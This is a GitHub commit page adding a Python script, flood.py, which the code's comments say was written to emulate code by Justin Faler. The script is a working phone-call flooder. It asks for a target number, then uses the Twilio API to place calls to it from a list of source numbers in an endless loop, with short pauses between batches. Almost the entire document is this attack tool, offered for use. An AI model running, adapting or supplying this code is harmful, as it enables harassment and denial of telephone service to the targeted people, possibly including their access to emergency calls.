Skip to content

Commit 3659be1

Browse files
author
Justin Faler
authored
Create flood.py
1 parent ff0a91a commit 3659be1

File tree

1 file changed

+51
-0
lines changed

1 file changed

+51
-0
lines changed

Python/flood.py

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
#!/usr/bin/env python
2+
# Author: Jesse Morgan (morgajel)
3+
# Created to emulate code by Justin Faler
4+
5+
import time
6+
# NOTE: This requires python 3 and the twilio library to be installed (pip install twilio)
7+
from twilio.rest import Client
8+
9+
accountSid = "ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
10+
authtoken = "your_auth_token"
11+
voiceml="http://demo.twilio.com/docs/voice.xml"
12+
13+
# Replace these with phone numbers.
14+
sourceNumbers = [ "+10000000000", "+10000000000", "+10000000000", "+10000000000" ]
15+
16+
def callThem(toNumber, fromNumber):
17+
try:
18+
call = client.calls.create(
19+
to = toNumber,
20+
from_ = fromNumber,
21+
url = voiceml,
22+
method = "GET",
23+
)
24+
print("Started call to %s from %s" % (toNumber, fromNumber));
25+
except Exception as err:
26+
print("Error on %s from %s: %s" % (toNumber, fromNumber, err));
27+
28+
print(r"""
29+
_____ ____ __ ______
30+
/ ___// __ \/ / / / __ \
31+
\__ \/ / / / / / / /_/ /
32+
___/ / /_/ / /_/ / ____/
33+
/____/\____/\____/_/
34+
35+
""")
36+
37+
numToCall = input("Enter the target number to start flood (+1 MUST BE IN FRONT!): ")
38+
input("Press ENTER to start the flooder, Otherwise exit the application right now...")
39+
40+
client = Client(accountSid, authtoken)
41+
42+
count = 0;
43+
while True :
44+
count += 1
45+
print("Starting call batch %s [ %s Nums.]" % (count, len(sourceNumbers) ))
46+
47+
for sourceNumber in sourceNumbers:
48+
callThem(numToCall, sourceNumber)
49+
time.sleep(1)
50+
time.sleep(5)
51+

0 commit comments

Comments
 (0)